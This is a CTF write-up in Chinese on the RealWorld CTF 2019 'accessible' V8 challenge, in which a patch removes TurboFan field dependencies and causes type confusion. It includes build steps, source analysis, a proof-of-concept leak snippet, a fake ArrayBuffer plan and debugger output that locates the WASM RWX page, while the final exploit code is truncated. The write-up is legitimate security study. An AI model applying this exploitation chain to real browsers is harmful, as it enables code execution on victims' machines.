在Patch文件中由于删除了添加依赖(dependency)的部分代码,导致一些元素类型在发生变化时无法触发Deoptimize,造成Type Confusion。
环境准备
git reset --hard eefa087eca9c54bdb923b8f5e5e14265f6970b22
gclient sync
git apply ../challenge.patch
./tools/dev/v8gen.py x64.release
ninja -C ./out.gn/x64.release d8
./tools/dev/v8gen.py x64.debug
ninja -C ./out.gn/x64.debug d8
漏洞分析
Patch分析
1 | diff --git a/src/compiler/access-info.cc b/src/compiler/access-info.cc |
修改的是src/compiler/access-info.cc文件中的AccessInfoFactory::ComputeDataFieldAccessInfo函数。
删除了两处unrecorded_dependencies.push_back函数,
并且constness始终被赋值为PropertyConstness::kConst。
到这里好像什么都没看出来,dependencies的细节之前也没怎么接触到。找了一下Hpasserby师傅的文章。
在未知POC的情况下只能一步一步来分析。
源码分析
1 | PropertyAccessInfo AccessInfoFactory::ComputeDataFieldAccessInfo( |
在函数的开头获取map中的instance_descriptors,通过descriptor定位具体属性。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46 if (details_representation.IsSmi()) {
field_type = Type::SignedSmall();
unrecorded_dependencies.push_back(
dependencies()->FieldRepresentationDependencyOffTheRecord(map_ref,
descriptor));
} else if (details_representation.IsDouble()) {
field_type = type_cache_->kFloat64;
if (!FLAG_unbox_double_fields) {
unrecorded_dependencies.push_back(
dependencies()->FieldRepresentationDependencyOffTheRecord(
map_ref, descriptor));
}
} else if (details_representation.IsHeapObject()) {
// Extract the field type from the property details (make sure its
// representation is TaggedPointer to reflect the heap object case).
Handle<FieldType> descriptors_field_type(
descriptors->GetFieldType(descriptor), isolate());
if (descriptors_field_type->IsNone()) {
// Store is not safe if the field type was cleared.
if (access_mode == AccessMode::kStore) {
return PropertyAccessInfo::Invalid(zone());
}
// The field type was cleared by the GC, so we don't know anything
// about the contents now.
}
unrecorded_dependencies.push_back(
dependencies()->FieldRepresentationDependencyOffTheRecord(map_ref,
descriptor));
if (descriptors_field_type->IsClass()) {
// Remember the field map, and try to infer a useful type.
Handle<Map> map(descriptors_field_type->AsClass(), isolate());
field_type = Type::For(MapRef(broker(), map));
field_map = MaybeHandle<Map>(map);
}
} else {
CHECK(details_representation.IsTagged());
}
// TODO(turbofan): We may want to do this only depending on the use
// of the access info.
unrecorded_dependencies.push_back(
dependencies()->FieldTypeDependencyOffTheRecord(map_ref, descriptor));
接着会依次检查属性的类型并将其添加到unrecorded_dependencies中。
但是由于Patch的修改,当属性的类型是HeapObject时,不会将其添加到unrecorded_dependencies中。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22PropertyConstness constness;
if (details.IsReadOnly() && !details.IsConfigurable()) {
constness = PropertyConstness::kConst;
} else {
map_ref.SerializeOwnDescriptor(descriptor);
constness = PropertyConstness::kConst;
}
Handle<Map> field_owner_map(map->FindFieldOwner(isolate(), descriptor),
isolate());
switch (constness) {
case PropertyConstness::kMutable:
return PropertyAccessInfo::DataField(
zone(), receiver_map, std::move(unrecorded_dependencies), field_index,
details_representation, field_type, field_owner_map, field_map,
holder);
case PropertyConstness::kConst:
return PropertyAccessInfo::DataConstant(
zone(), receiver_map, std::move(unrecorded_dependencies), field_index,
details_representation, field_type, field_owner_map, field_map,
holder);
}
UNREACHABLE();
由于Patch修改,属性类型总是kConst,所以总是return PropertyAccessInfo::DataConstant。
查看PropertyAccessInfo::DataConstant函数。1
2
3
4
5
6
7
8
9
10
11PropertyAccessInfo PropertyAccessInfo::DataConstant(
Zone* zone, Handle<Map> receiver_map,
ZoneVector<CompilationDependency const*>&& dependencies,
FieldIndex field_index, Representation field_representation,
Type field_type, Handle<Map> field_owner_map, MaybeHandle<Map> field_map,
MaybeHandle<JSObject> holder, MaybeHandle<Map> transition_map) {
return PropertyAccessInfo(kDataConstant, holder, transition_map, field_index,
field_representation, field_type, field_owner_map,
field_map, {{receiver_map}, zone},
std::move(dependencies));
}
PropertyAccessInfo::DataConstant又返回PropertyAccessInfo函数。
查看PropertyAccessInfo函数。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18PropertyAccessInfo::PropertyAccessInfo(
Kind kind, MaybeHandle<JSObject> holder, MaybeHandle<Map> transition_map,
FieldIndex field_index, Representation field_representation,
Type field_type, Handle<Map> field_owner_map, MaybeHandle<Map> field_map,
ZoneVector<Handle<Map>>&& receiver_maps,
ZoneVector<CompilationDependency const*>&& unrecorded_dependencies)
: kind_(kind),
receiver_maps_(receiver_maps),
unrecorded_dependencies_(std::move(unrecorded_dependencies)),
transition_map_(transition_map),
holder_(holder),
field_index_(field_index),
field_representation_(field_representation),
field_type_(field_type),
field_owner_map_(field_owner_map),
field_map_(field_map) {
DCHECK_IMPLIES(!transition_map.is_null(),
field_owner_map.address() == transition_map.address());
unrecorded_dependencies则是被初始化赋值给私有成员unrecorded_dependencies_。
找一下引用该私有成员的函数,PropertyAccessInfo::Merge和PropertyAccessInfo::RecordDependencies。
其中Merge函数合并两个unrecorded_dependencies_。
RecordDependencies函数实现如下1
2
3
4
5
6
7void PropertyAccessInfo::RecordDependencies(
CompilationDependencies* dependencies) {
for (CompilationDependency const* d : unrecorded_dependencies_) {
dependencies->RecordDependency(d);
}
unrecorded_dependencies_.clear();
}
其中又调用了RecordDependency。1
2
3
4void CompilationDependencies::RecordDependency(
CompilationDependency const* dependency) {
if (dependency != nullptr) dependencies_.push_front(dependency);
}
所以RecordDependencies把unrecorded_dependencies_转移到了CompilationDependencies类的私有成员dependencies_并且清空。1
2
3
4
5
6
7bool CompilationDependencies::AreValid() const {
for (auto dep : dependencies_) {
if (!dep->IsValid()) return false;
}
return true;
}
......
查找dependencies_,引用代码基本是遍历dependencies_并调用IsValid。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26Reduction TypedOptimization::ReduceCheckMaps(Node* node) {
// The CheckMaps(o, ...map...) can be eliminated if map is stable,
// o has type Constant(object) and map == object->map, and either
// (1) map cannot transition further, or
// (2) we can add a code dependency on the stability of map
// (to guard the Constant type information).
Node* const object = NodeProperties::GetValueInput(node, 0);
Type const object_type = NodeProperties::GetType(object);
Node* const effect = NodeProperties::GetEffectInput(node);
base::Optional<MapRef> object_map =
GetStableMapFromObjectType(broker(), object_type);
if (object_map.has_value()) {
for (int i = 1; i < node->op()->ValueInputCount(); ++i) {
Node* const map = NodeProperties::GetValueInput(node, i);
Type const map_type = NodeProperties::GetType(map);
if (map_type.IsHeapConstant() &&
map_type.AsHeapConstant()->Ref().equals(*object_map)) {
if (object_map->CanTransition()) {
dependencies()->DependOnStableMap(*object_map);
}
return Replace(effect);
}
}
}
return NoChange();
}
查找调用该头文件的代码,在typed-optimization.cc文件中发现以上代码。
通过注释大概可以知道,在Ruduce过程中,如果map是稳定的,可以通过添加dependency的方式来将CheckMaps节点删除。
总结
对照Hpasserby师傅的文章,由于JS类型不稳定,v8采用两种方式来确保runtime优化代码的类型安全。
第一种是添加CheckMaps来对类型进行检查。
第二种是通过dependency,将元素添加到dependencies中,通过检查dependency是否改变来触发deoptimize。
而正是因为在Patch中删除了某些添加dependency的代码,导致在runtime时某些元素改变无法检测,导致Type Confusion。
漏洞利用
POC
1 | var obj = {}; |
由于在Patch中删除了details_representation.IsHeapObject()时的unrecorded_dependencies.push_back,HeapObject不会被添加到dependencies。
POC中,首先字典传入obj,然后多次调用leaker(返回o.c.a)使得生成JIT代码,然后替换掉原来的字典。这时候并没有触发deoptimize,而是把buf_to_leak地址打印了出来。
在POC中如果在替换字典时出现了同属性名,{a: buf_to_leak},则会触发deoptimize。
因为在原始对象的映射上仍然有一个单独的代码依赖项。
通过创建具有相同属性名称的新对象,它将使用转换来查找相同的映射,然后对其执行类型泛化。这种泛化使代码段无效。
Turbolizer搭建
我们通过Turbolizer可视化来验证该POC。
安装最新版nodejs。1
2
3sudo apt-get install curl python-software-properties
curl -sL https://deb.nodesource.com/setup_12.x | sudo -E bash -
sudo apt-get install nodejs
安装并启动Turbolizer1
2
3
4cd v8/tools/turbolizer
npm i
npm run-script build
python -m SimpleHTTPServer
生成可视化文件1
./out.gn/x64.debug/d8 --trace-turbo ~/browser/poc/RealWorld_CTF2019_accessible/poc.js --trace-turbo-path ~/browser/turbo/
可以看到在TyperLowering阶段存在两次CheckMaps,分别为obj以及obj.c
在SimplifiedLowering阶段只有对obj的CheckMaps,obj.c以及转为添加dependency的方法。
思路
任意对象读取
在POC中基本完成。1
2
3
4
5
6
7
8
9
10
11
12
13var obj1 = {c: {x: 1.1}};
function leaker(o){
return o.c.x;
}
for(var i = 0; i < 0x5000; i++){
leaker(obj1);
}
function leak_obj(o){
obj1.c = {y: o};
res = tC.f2u(leaker(obj1))
return res
}
`
伪造ArrayBuffer
JSArray布局图如下
Elements--->+-------------+
| MAP +<------+
+-------------+ |
| Length | |
+-------------+ |
| element#1 | |
+-------------+ |
| element#2 | |
+-------------+ |
| ... | |
+-------------+ |
| element#N | |
JSArray--->--------------+ |
| MAP | |
+-------------+ |
| Properties | |
+-------------+ |
| Elements +-------+
+-------------+
| Length |
+-------------+
| ... |
+-------------+
1 | var fake_arraybuffer = [ |
slice或者splice使得Elements紧邻JSArray。fake_map中只要部分需要特定值(通过调试获取一个真实的map的值),其余填写0就行。
WASM
调试以下代码。1
2
3
4
5
6
7var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
let wasmFunc = wasmInstance.exports.main;
%DebugPrint(wasmInstance);
readline();
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x7c8e4c41000 0x7c8e4c80000 ---p 3f000 0
0x7c8e4c80000 0x7c8e4c81000 rw-p 1000 0
0x7c8e4c81000 0x7c8e4c82000 ---p 1000 0
0x7c8e4c82000 0x7c8e4ca8000 r-xp 26000 0
0x7c8e4ca8000 0x7c8e4cbf000 ---p 17000 0
0x7c8e4cbf000 0x7c8e4cc0000 ---p 1000 0
0x7c8e4cc0000 0x7c8e4cc1000 rw-p 1000 0
0x7c8e4cc1000 0x7c8e4cc2000 ---p 1000 0
0x7c8e4cc2000 0x7c8e4cff000 r-xp 3d000 0
0x7c8e4cff000 0x7c8ecc41000 ---p 7f42000 0
0x8dcdd0c0000 0x8dcdd100000 rw-p 40000 0
0xe0e6e880000 0xe0e6e8c0000 rw-p 40000 0
0x11bb1ee02000 0x11bb1ee03000 rwxp 1000 0
--------------------------------------------------
pwndbg> search -8 0x11bb1ee02000
0xe0e6e89fe98 0x11bb1ee02000
--------------------------------------------------
pwndbg> p/x 0xe0e6e89fe98 - 0xe0e6e89fe18
$1 = 0x80
可以看到存储RWX地址的地址为wasmInstance_addr + 0x80。
Exploit
1 | function hex(x) |
参考链接
v8 exploit - RealWorld CTF2019 accessible
Real World CTF 2019 Accessible Write-up
JavaScript深入浅出第4课:V8引擎是如何工作的?